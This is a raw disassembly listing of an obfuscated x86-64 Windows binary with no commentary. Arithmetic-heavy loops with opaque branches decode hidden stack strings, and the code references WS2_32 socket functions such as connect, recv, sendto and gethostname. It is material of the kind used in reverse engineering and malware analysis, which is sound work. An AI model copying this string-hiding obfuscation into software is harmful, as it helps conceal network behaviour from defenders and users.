jmp 0x14008100d
lea ecx, [r9 - 0x21]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x19
lea rax, [rbx + r8]
cmp rax, 5
je 0x1400814e2
lea rax, [r8 + 0x20]
cmp rbx, rax
jbe 0x140081304
lea ecx, [r9 + 0x6f]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 9
jmp 0x14008104c
add r9b, 0x4a
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 6
movzx eax, byte [rbp + r11 + 0x340]
add rax, r8
add r11, rax
inc r11
jmp 0x140080ba3
add r9b, 0x14
movzx eax, r9b
and al, r10b
mov ecx, 0x3a
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
jmp 0x140081655
lea ecx, [r9 - 0x22]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x12
jmp 0x14008162a
sub r9b, 0x58
movzx eax, r9b
and al, r10b
mov ecx, 0x34
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
jmp 0x1400815f7
add r9b, 0x72
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x1e
jmp 0x1400815f4
lea edx, [r9 + 0x3c]
movzx eax, dl
and al, r10b
mov ecx, 0x2e
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
jmp 0x1400815d2
add r9b, 6
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x2a
dec r11
inc r11
jmp 0x140080ba3
sub r9b, 0x30
movzx eax, r9b
and al, r10b
mov ecx, 0x28
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
inc r8
dec r11
inc r11
jmp 0x140080ba3
lea ecx, [r9 - 0x66]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x36
jmp 0x140081567
lea rax, [r8 + 0x10]
cmp rbx, rax
jae 0x14008121d
lea ecx, [r9 + 0x1b]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
add dil, 0x43
jmp 0x140081095
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x140081255
add r9b, 0x6e
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 2
movzx eax, byte [rbp + r11 + 0x340]
add rax, r8
add r11, rax
inc r11
jmp 0x140080ba3
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x140081281
lea edx, [r9 - 0x26]
movzx eax, dl
and al, r10b
mov ecx, 5
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
jmp 0x14008162a
lea rax, [r8 + 5]
cmp rbx, rax
jne 0x1400812a9
lea ecx, [r9 + 0x7c]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x64
jmp 0x1400815d2
lea rax, [r8 + 4]
cmp rbx, rax
jne 0x1400812d8
sub r9b, 0x4e
movzx eax, r9b
and al, r10b
mov ecx, reloc.WS2_32.dll_recvfrom
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
dec r11
inc r11
jmp 0x140080ba3
lea rax, [r8 + 6]
cmp rbx, rax
jne 0x140081095
lea edx, [r9 + 0x1e]
movzx eax, dl
and al, r10b
mov ecx, reloc.WS2_32.dll_socket
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
jmp 0x140081567
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x14008132c
lea ecx, [r9 - 0x5b]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
add dil, 0x7d
jmp 0x140081567
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x14008135c
add r9b, 0x11
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x77
dec r11
inc r11
jmp 0x140080ba3
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x140081384
lea ecx, [r9 + 0x47]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
add dil, 0xf
jmp 0x1400815d2
lea rax, [r8 + 5]
cmp rbx, rax
jne 0x1400813ae
sub r9b, 0x4d
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
add dil, 0x1b
jmp 0x1400815f7
lea rax, [r8 + 6]
cmp rbx, rax
jne 0x1400813d6
lea ecx, [r9 - 0x17]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x5f
jmp 0x14008162a
lea rax, [r8 + 7]
cmp rbx, rax
jne 0x14008104c
add r9b, 0x1f
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
add dil, 0x27
jmp 0x140081655
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x140081438
sub r9b, 0x24
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 4
movzx eax, byte [rbp + r11 + 0x340]
add rax, r8
add r11, rax
inc r11
jmp 0x140080ba3
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x140081464
lea edx, [r9 + 0x48]
movzx eax, dl
and al, r10b
mov ecx, 4
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
jmp 0x14008162a
lea rax, [r8 + 5]
cmp rbx, rax
jne 0x140081491
sub r9b, 0x4c
movzx eax, r9b
and al, r10b
mov ecx, 0xa
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
jmp 0x1400815f4
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x14008100d
add r9b, 0x20
movzx eax, r9b
and al, r10b
mov ecx, reloc.WS2_32.dll_recv
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
dec r11
inc r11
jmp 0x140080ba3
lea edx, [r9 - 8]
movzx eax, dl
and al, r10b
movzx ecx, r10b
sub cl, al
add cl, 0x1c
lea edi, [rcx + rcx]
add dil, dl
jmp 0x1400815d2
lea ecx, [r9 + 0x2e]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [rcx - 0x42]
jmp 0x14008162a
lea ecx, [r9 - 0x4f]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
add dil, 0x29
jmp 0x14008162a
lea ecx, [r9 + 0xf]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x69
jmp 0x1400815d2
sub r9b, 0x27
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
add dil, 0x11
dec r11
inc r11
jmp 0x140080ba3
lea ecx, [r9 + 0x6d]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
add dil, 5
sub r9b, 0x23
movzx eax, r10b
and al, r9b
add al, al
sub r10b, al
sub r10b, 0xb
add r10b, r9b
mov byte [rbp + r11 + 0x340], r10b
inc r8
dec r11
inc r11
jmp 0x140080ba3
lea ecx, [r11 - 0x35]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
add dil, 0x73
inc r8
dec r11
inc r11
jmp 0x140080ba3
movzx r9d, r11b
lea ecx, [r9 + 0x5f]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
add dil, 0x67
add r9b, 0x13
movzx eax, r10b
and al, r9b
add al, al
sub r10b, al
add r10b, 0x7b
add r10b, r9b
add r10b, dil
mov byte [rbp + r11 + 0x340], r10b
add rbx, r8
movzx eax, dil
mov rcx, 0xffffffffffffffff
sub rcx, rax
add r11, rcx
inc r11
jmp 0x140080ba3
lea rcx, [r11 + r13]
and dl, cl
add dl, dl
movzx edi, r10b
sub dil, dl
sub dil, 0x2b
add dil, cl
movzx r9d, r11b
add r9b, 0x49
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
inc r9b
add r9b, r10b
movzx eax, r9b
mov byte [rbp + r11 + 0x340], al
inc r8
add rax, r8
sub r11, rax
lea edx, [r11 + 0x64]
movzx eax, dl
and al, r10b
mov ecx, 0x22
sub cl, al
add cl, cl
add cl, dl
add cl, r10b
mov byte [rbp + r11 + 0x340], cl
inc rbx
mov rax, 0xffffffffffffffff
sub rax, rbx
add r11, rax
movzx eax, byte [rbp + r11 + 0x340]
add rax, r8
add r11, rax
inc r11
jmp 0x140080ba3
lea rax, [r11 + r12]
and dl, al
add dl, dl
sub r10b, dl
lea edi, [rax + r10]
sub dil, 0x37
movzx eax, byte [rbp + r11 + 0x340]
add rax, r8
add r11, rax
inc r11
jmp 0x140080ba3
add r9b, 7
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x31
jmp 0x140080ba0
sub r9b, 0x2f
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
add dil, 0x49
jmp 0x140080b90
lea rcx, [rbp + 0x1606564]
jmp 0x14008171f
lea rcx, [rbp + 0x15aa17f]
jmp 0x14008171f
lea rcx, [rbp + 0x340]
mov r9d, esi
lea r8, [0x140044cc0]
mov edx, r14d
call fcn.14004e000
mov eax, dword [0x1401fe89c]
mov dword [rsp + 0x54], eax
mov eax, dword [reloc.WS2_32.dll_connect]
mov dword [rsp + 0x58], eax
mov byte [rbp + 0x360], 0x9a
mov byte [rbp + 0x361], 0xbb
mov byte [rbp + 0x362], 0x83
mov byte [rbp + 0x363], 0x8a
mov byte [rbp + 0x364], 0x8b
mov byte [rbp + 0x365], 0x8a
mov byte [rbp + 0x366], 0xbe
mov byte [rbp + 0x367], 0xef
mov byte [rbp + 0x368], 0xdb
mov byte [rbp + 0x369], 0xb6
mov byte [rbp + 0x36a], 0x8b
mov byte [rbp + 0x36b], recvfrom
xor eax, eax
mov dword [rbp + 0x36c], eax
mov word [rbp + 0x370], ax
mov byte [rbp + 0x372], al
movzx edi, byte [rsp + 0x50]
movabs rsi, 0x481f65bd8a7916d9
nop dword [rax]
call fcn.140004d90
mov rbx, qword [rax]
call fcn.140004da0
mov r8, qword [rax]
xor r12d, r12d
cmp r12, 0x13
jae 0x14008234f
movzx r9d, byte [rbp + r12 + 0x360]
mov r13d, r9d
nop dword [rax]
cmp rbx, r12
ja 0x140082343
lea rax, [r8 + 1]
cmp rbx, rax
jae 0x140081820
lea rcx, [r12 + rsi]
mov rax, r13
and rax, rcx
imul rdi, rax, 0xfffffffffffffffe
add rdi, r13
add rdi, rcx
add dil, 0x11
jmp 0x14008184d
je 0x1400822b4
lea rax, [r8 + 2]
cmp rbx, rax
je 0x14008222d
lea rax, [r8 + 5]
cmp rbx, rax
je 0x1400821ef
lea rax, [r8 + 8]
cmp rbx, rax
je 0x14008219b
movzx r10d, r12b
movzx esi, r10b
movzx r15d, r10b
movzx r14d, r10b
cmp r8, r12
ja 0x140082337
lea r11, [r8 + 1]
lea rax, [r8 + 0x80]
cmp rbx, rax
jae 0x14008189d
lea edx, [r10 - 0x33]
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
add dl, 0x65
add dil, dl
lea rcx, [r8 + 2]
lea rdx, [r8 + 4]
jmp 0x1400818f0
cmp rbx, r11
je 0x140082180
lea rax, [r8 + 3]
cmp rbx, rax
je 0x14008213f
lea rdx, [r8 + 4]
cmp rbx, rdx
je 0x140082122
lea rax, [r8 + 5]
cmp rbx, rax
je 0x140082105
lea rax, [r8 + 7]
cmp rbx, rax
je 0x1400820e7
lea rcx, [r8 + 2]
cmp rbx, rcx
je 0x1400820ca
nop word [rax + rax]
lea rax, [r8 + rbx]
cmp rax, r12
jbe 0x140081dd5
nop dword [rax]
lea rax, [r8 + 0x1000]
cmp rbx, rax
je 0x140081db5
lea rax, [r8 + 1]
cmp rbx, rax
je 0x140081d82
lea rax, [r8 + 0x41]
cmp rbx, rax
je 0x140081d55
lea rax, [r8 + 4]
cmp rbx, rax
je 0x140081d35
lea rax, [r8 + 8]
cmp rbx, rax
je 0x140081d18
lea rax, [r8 + 0x40]
cmp rbx, rax
je 0x140081cf8
lea rax, [r8 + 0x10]
cmp rbx, rax
je 0x140081cd8
lea rax, [r8 + 0x80]
cmp rbx, rax
je 0x140081cb8
lea rbx, [r8 + 9]
lea r8, [rbx + 0x400]
lea rax, [r8 + 5]
cmp rbx, rax
jb 0x14008231a
lea rax, [r8 + 0x20]
cmp rbx, rax
jb 0x1400822f3
lea rax, [r8 + 9]
cmp rbx, rax
jb 0x140081a85
lea rax, [r8 + 0x42]
cmp rbx, rax
jb 0x140081a66
lea rax, [r8 + 0x200]
cmp rbx, rax
jb 0x140081c62
lea rax, [r8 + 0x41]
cmp rbx, rax
jb 0x140081c15
lea rax, [r8 + 0x1000]
cmp rbx, rax
jb 0x140081bd4
lea rax, [r8 + 1]
cmp rbx, rax
jb 0x140081ba2
lea rbx, [r8 + 0xa]
lea r8, [rbx + 4]
lea rax, [r8 + 0x64]
cmp rbx, rax
ja 0x140081b82
lea rax, [r8 + 0x61]
cmp rbx, rax
ja 0x140081b62
lea rax, [r8 + 0x3e8]
cmp rbx, rax
ja 0x140081b42
lea rax, [r8 + 0x5a]
cmp rbx, rax
ja 0x140081b22
lea rax, [r8 + 2]
cmp rbx, rax
ja 0x140081b02
lea rax, [r8 + 5]
cmp rbx, rax
ja 0x140081acf
lea rax, [r8 + 0x20]
cmp rbx, rax
ja 0x140081aaf
lea rax, [r8 + 9]
cmp rbx, rax
ja 0x140081900
lea rbx, [r8 + 0x400]
lea r8, [rbx + 0x42]
jmp 0x140081900
lea edx, [r10 + 0x21]
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
add dil, 0x19
add dil, dl
jmp 0x140081851
add r10b, 0x6f
movzx eax, r9b
and al, r10b
add al, al
movzx edi, r9b
sub dil, al
sub dil, 9
add dil, r10b
movabs rsi, 0x481f65bd8a7916d9
jmp 0x1400817f0
add r10b, 0x68
movzx eax, r9b
and al, r10b
mov ecx, reloc.WS2_32.dll_sendto
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
jmp 0x1400821b8
sub r10b, 0x4a
movzx eax, r9b
and al, r10b
mov ecx, 3
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
inc r8
dec r12
inc r12
movabs rsi, 0x481f65bd8a7916d9
jmp 0x1400817d3
add r10b, 0x52
movzx eax, r9b
and al, r10b
add al, al
movzx edi, r9b
sub dil, al
sub dil, 0x3e
add dil, r10b
jmp 0x140082158
sub r10b, 0x12
movzx eax, r9b
and al, r10b
mov ecx, 0x3f
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
jmp 0x14008220a
add r10b, 0x3c
movzx eax, r9b
and al, r10b
mov ecx, 0x2e
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
jmp 0x140082252
sub r10b, 0x76
movzx eax, r9b
and al, r10b
mov ecx, 0x1d
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
jmp 0x14008227e
sub r10b, 0x28
movzx eax, r9b
and al, r10b
mov ecx, ntohs
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
jmp 0x1400822d2
sub r10b, 0x65
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x3d
mov byte [rbp + r12 + 0x360], dil
inc r12
movabs rsi, 0x481f65bd8a7916d9
jmp 0x1400817d3
sub r10b, 0x17
movzx eax, r9b
and al, r10b
add al, al
movzx edi, r9b
sub dil, al
sub dil, 0x5f
add dil, r10b
cmp r8, 0x42
jb 0x140081bba
lea edx, [rsi + 0x76]
movzx eax, r9b
and al, dl
add al, al
movzx ecx, r9b
sub cl, al
add cl, dl
lea edi, [rcx*2 - 0x74]
jmp 0x1400821b8
add r10b, 0x37
movzx eax, r9b
and al, r10b
add al, al
movzx edi, r9b
sub dil, al
add dil, 0x7f
add dil, r10b
cmp rbx, 4
jae 0x14008208e
lea rax, [r8 + 0x64]
cmp rbx, rax
jbe 0x140081fa8
lea edx, [rsi - 0x7e]
movzx eax, r9b
and al, dl
mov ecx, reloc.WS2_32.dll_gethostname
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, dl
jmp 0x140081bef
sub r10b, 0x7b
movzx eax, r9b
and al, r10b
add al, al
movzx edi, r9b
sub dil, al
add dil, 0x5d
add dil, r10b
lea rax, [r8 + rbx]
cmp rax, 0x400
je 0x1400820af
lea rax, [r8 + 5]
cmp rbx, rax
jbe 0x140081f01
lea edx, [rsi - 0x4b]
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
add dil, 0xd
add dil, dl
jmp 0x140081c30
sub r10b, 0x32
movzx eax, r9b
and al, r10b
mov ecx, 0x2f
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
jmp 0x1400822d2
add r10b, 0x1c
movzx eax, r9b
and al, r10b
mov ecx, 0x1e
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
jmp 0x14008227e
add r10b, 0x6a
movzx eax, r9b
and al, r10b
mov ecx, reloc.WS2_32.dll_listen
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
jmp 0x140082252
sub r10b, 0x48
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 8
jmp 0x14008220a
add r10b, 0x54
movzx eax, r9b
and al, r10b
add al, al
movzx edi, r9b
sub dil, al
sub dil, 0x4c
add dil, r10b
jmp 0x140082158
sub r10b, 0x5e
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x6e
dec r12
inc r12
movabs rsi, 0x481f65bd8a7916d9
jmp 0x1400817d3
sub r10b, 0x10
movzx eax, r9b
and al, r10b
mov ecx, gethostname
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
inc r8
dec r12
inc r12
movabs rsi, 0x481f65bd8a7916d9
jmp 0x1400817d3
add r10b, 0x3e
movzx eax, r9b
and al, r10b
mov ecx, 0x27
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
jmp 0x1400821b8
lea rax, [r8 + 0x64]
cmp rbx, rax
jae 0x140081dff
sub r10b, 0x27
movzx eax, r9b
and al, r10b
add al, al
movzx edi, r9b
sub dil, al
add dil, 0x11
jmp 0x140081c7a
cmp rbx, r11
jne 0x140081e25
sub r14b, 0x66
movzx eax, r9b
and al, r14b
add al, al
sub r9b, al
lea edi, [r14 + r9]
sub dil, 0x36
jmp 0x1400822d2
cmp rbx, rcx
jne 0x140081e4e
sub r15b, 2
movzx eax, r9b
and al, r15b
mov ecx, 7
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r15b
jmp 0x140082252
cmp rbx, rdx
jne 0x140081e77
add sil, 0x62
movzx eax, r9b
and al, sil
mov ecx, 0x29
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, sil
jmp 0x140082207
lea rax, [r8 + 5]
cmp rbx, rax
jne 0x140081e9f
lea edx, [rsi + 0x14]
movzx eax, r9b
and al, dl
mov ecx, 0x3a
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
jmp 0x140082155
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x140081ed9
sub sil, 0x3a
movzx eax, r9b
and al, sil
add al, al
sub r9b, al
lea edi, [rsi + r9]
sub dil, 0x6a
dec r12
inc r12
movabs rsi, 0x481f65bd8a7916d9
jmp 0x1400817d3
lea rax, [r8 + 6]
cmp rbx, rax
jne 0x140081c7d
lea edx, [rsi + 0x2a]
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
sub dil, 0x26
jmp 0x1400821b5
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x140081f29
lea edx, [rsi + 0x67]
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
add dil, 0x2f
jmp 0x1400821b5
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x140081f53
add sil, 0x2f
movzx eax, r9b
and al, sil
add al, al
sub r9b, al
lea edi, [rsi + r9]
sub dil, 0x49
jmp 0x140082207
lea rax, [r8 + 6]
cmp rbx, rax
jne 0x140081f7d
sub sil, 0x1f
movzx eax, r9b
and al, sil
add al, al
sub r9b, al
lea edi, [rsi + r9]
sub dil, 0x27
jmp 0x14008220a
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x140081c30
lea edx, [rsi - 0x6d]
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
sub dil, 5
add dil, dl
jmp 0x140082252
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x140081fd2
add sil, 0x34
movzx eax, r9b
and al, sil
add al, al
sub r9b, al
lea edi, [rsi + r9]
sub dil, 0x6c
jmp 0x1400822d2
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x140081ffc
add sil, 0x4a
movzx eax, r9b
and al, sil
add al, al
sub r9b, al
lea edi, [rsi + r9]
sub dil, 6
jmp 0x14008220a
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x140082029
sub sil, 4
movzx eax, r9b
and al, sil
mov ecx, recvfrom
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, sil
jmp 0x140082207
lea rax, [r8 + 4]
cmp rbx, rax
jne 0x140082051
lea edx, [rsi - 0x52]
movzx eax, r9b
and al, dl
mov ecx, 0x1f
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
jmp 0x140082155
lea rax, [r8 + 6]
cmp rbx, rax
jne 0x140081bef
add sil, 0x60
movzx eax, r9b
and al, sil
mov ecx, 0x30
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, sil
dec r12
inc r12
movabs rsi, 0x481f65bd8a7916d9
jmp 0x1400817d3
lea edx, [rsi + 0x28]
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
sub dil, 0x18
add dil, dl
add dil, r9b
jmp 0x140082158
lea edx, [rsi - 0x26]
movzx eax, r9b
and al, dl
mov ecx, 5
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
jmp 0x140082252
add sil, 0xf
movzx eax, r9b
and al, sil
add al, al
sub r9b, al
lea edi, [rsi + r9]
sub dil, 0x69
jmp 0x1400822d2
lea edx, [rsi - 0x55]
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
add dil, 0x53
add dil, dl
jmp 0x140082252
sub sil, 7
movzx eax, r9b
and al, sil
add al, al
sub r9b, al
lea edi, [rsi + r9]
add dil, 0x31
jmp 0x14008220a
add sil, 0x47
movzx eax, r9b
and al, sil
add al, al
sub r9b, al
lea edi, [rsi + r9]
add dil, 0xf
jmp 0x140082207
lea edx, [rsi - 0x6b]
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
sub dil, 0x13
add dil, dl
inc sil
movzx eax, r9b
and al, sil
add al, al
movzx ecx, dil
sub cl, al
sub cl, 7
add cl, r9b
add cl, sil
mov byte [rbp + r12 + 0x360], cl
jmp 0x140082207
lea edx, [rsi + 0x7f]
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
sub dil, 0x79
jmp 0x1400821b5
movzx esi, r12b
lea edx, [rsi + 0x1b]
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
add dil, 0x43
add dil, dl
add sil, 0x4f
movzx eax, r9b
and al, sil
add al, al
sub r9b, al
sub r9b, 0x29
add r9b, sil
mov byte [rbp + r12 + 0x360], r9b
inc r8
dec r12
inc r12
movabs rsi, 0x481f65bd8a7916d9
jmp 0x1400817d3
lea ecx, [r12 + 0x53]
movzx eax, r9b
and al, cl
add al, al
sub r9b, al
lea edi, [rcx + r9]
sub dil, 0x45
add rbx, r8
movzx eax, dil
mov rcx, 0xffffffffffffffff
sub rcx, rax
add r12, rcx
inc r12
movabs rsi, 0x481f65bd8a7916d9
jmp 0x1400817d3
movabs rcx, 0xf8dbc82ec94f9fef
add rcx, r12
and r13b, cl
add r13b, r13b
movzx edi, r9b
sub dil, r13b
add dil, 0x77
add dil, cl
movzx esi, r12b
sub sil, 0x4d
movzx eax, sil
and al, r9b
add al, al
sub sil, al
add sil, 0x1b
add sil, r9b
movzx eax, sil
mov byte [rbp + r12 + 0x360], al
inc r8
add rax, r8
sub r12, rax
lea edx, [r12 - 0x74]
movzx eax, dl
and al, r9b
mov ecx, socket
sub cl, al
add cl, cl
add cl, dl
add cl, r9b
mov byte [rbp + r12 + 0x360], cl
inc rbx
mov rax, 0xffffffffffffffff
sub rax, rbx
add r12, rax
jmp 0x1400822d2
movabs rax, 0xd85e31389f6b448b
add rax, r12
and r13b, al
add r13b, r13b
sub r9b, r13b
lea edi, [rax + r9]
add dil, 0x33
movzx eax, byte [rbp + r12 + 0x360]
add rax, r8
add r12, rax
inc r12
movabs rsi, 0x481f65bd8a7916d9
jmp 0x1400817d3
sub sil, 0x43
movzx eax, r9b
and al, sil
add al, al
sub r9b, al
lea edi, [rsi + r9]
sub dil, 0x2b
movabs rsi, 0x481f65bd8a7916d9
jmp 0x1400817d0
add sil, 0xb
movzx eax, r9b
and al, sil
add al, al
sub r9b, al
lea edi, [rsi + r9]
sub dil, 0x4d
jmp 0x1400817b3
lea rcx, [rbp + 0x15b5d2c]
jmp 0x140082356
lea rcx, [rbp + 0xd47405]
jmp 0x140082356
lea rcx, [rbp + 0x360]
mov r9d, dword [rsp + 0x54]
lea r8, [0x140044d70]
mov edx, dword [rsp + 0x58]
call fcn.14004e000
mov ecx, dword [0x1401fcb08]
call fcn.1400552f0
mov r14, rax
mov byte [rbp + 0x380], 0xd0
mov byte [rbp + 0x381], 0xa4
mov byte [rbp + 0x382], 0xa6
mov byte [rbp + 0x383], 0x50
mov byte [rbp + 0x384], 0xea
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x385], xmm0
mov dword [rbp + 0x395], eax
mov word [rbp + 0x399], ax
movabs r15, 0x8d985b80ddace57d
movabs r13, 0xdf2a80860fba466b
movabs r12, 0xa8c912829906b077
movzx edi, byte [rsp + 0x50]
call fcn.140004d90
mov rbx, qword [rax]
call fcn.140004da0
mov r8, qword [rax]
nop dword [rax + rax]
xor r9d, r9d
cmp r9, 0x1b
jae 0x140082dac
movzx r10d, byte [rbp + r9 + 0x380]
mov esi, r10d
nop dword [rax]
cmp rbx, r9
ja 0x140082da0
lea rdx, [r8 + 1]
cmp rbx, rdx
jae 0x140082443
lea rcx, [r9 + r15]
mov rax, rsi
and rax, rcx
imul rdi, rax, 0xfffffffffffffffe
add rdi, rsi
add rdi, rcx
sub dil, 0x6b
jmp 0x140082470
je 0x140082d2e
lea rax, [r8 + 3]
cmp rbx, rax
je 0x140082ca3
lea rax, [r8 + 4]
cmp rbx, rax
je 0x140082c45
lea rax, [r8 + 6]
cmp rbx, rax
je 0x140082c23
cmp r8, r9
ja 0x140082d94
lea rcx, [r8 + 5]
cmp rbx, rcx
jae 0x14008249e
lea ecx, [r9 + 0x41]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
add dil, 0x39
jmp 0x1400824d7
cmp rbx, rdx
je 0x140082bd8
lea rax, [r8 + 2]
cmp rbx, rax
je 0x140082bb6
cmp rbx, rcx
je 0x140082b9a
lea rax, [r8 + 4]
cmp rbx, rax
je 0x140082b77
lea rax, [r8 + 7]
cmp rbx, rax
je 0x140082b58
movzx r11d, r9b
nop dword [rax + rax]
lea rax, [r8 + rbx]
cmp rax, r9
jbe 0x140082918
nop dword [rax]
lea rax, [r8 + 0x28]
cmp rbx, rax
je 0x1400828f9
lea rax, [r8 + 0xa]
cmp rbx, rax
je 0x1400828d0
lea rax, [r8 + 6]
cmp rbx, rax
je 0x1400828aa
lea rax, [r8 + 3]
cmp rbx, rax
je 0x14008288b
lea rax, [r8 + 0x2a]
cmp rbx, rax
je 0x140082870
lea rax, [r8 + 0x7a]
cmp rbx, rax
je 0x140082855
lea rax, [r8 + 0x400]
cmp rbx, rax
je 0x140082832
lea rbx, [r8 + 0x40]
lea r8, [rbx + 0x80]
lea rax, [r8 + 0x10]
cmp rbx, rax
jb 0x140082d77
lea rax, [r8 + 0x80]
cmp rbx, rax
jb 0x140082d5a
lea rax, [r8 + 0x40]
cmp rbx, rax
jb 0x140082663
lea rax, [r8 + 8]
cmp rbx, rax
jb 0x140082644
lea rax, [r8 + 4]
cmp rbx, rax
jb 0x1400827e9
lea rax, [r8 + 1]
cmp rbx, rax
jb 0x1400827a1
lea rax, [r8 + 0x41]
cmp rbx, rax
jb 0x140082760
lea rcx, [r8 + 0x1000]
cmp rbx, rcx
jb 0x14008273a
movzx r11d, r9b
lea rax, [r8 + 0x200]
cmp rbx, rax
jb 0x1400824f0
mov rbx, rcx
lea r8, [rcx + 0x42]
lea rax, [r8 + 0x200]
cmp rcx, rax
ja 0x140082709
lea rax, [r8 + 0x42]
cmp rcx, rax
ja 0x1400826ee
lea rax, [r8 + 0x20]
cmp rcx, rax
ja 0x1400826d3
lea rax, [r8 + 9]
cmp rcx, rax
ja 0x1400826b8
lea rax, [r8 + 5]
cmp rcx, rax
ja 0x140082699
lea rcx, [r8 + 2]
cmp rbx, rcx
ja 0x14008267e
lea rax, [r8 + 0x5a]
cmp rbx, rax
ja 0x1400824f0
mov rbx, rcx
lea r8, [rcx + 0x61]
jmp 0x1400824f0
movzx r11d, r9b
lea ecx, [r11 - 0x21]
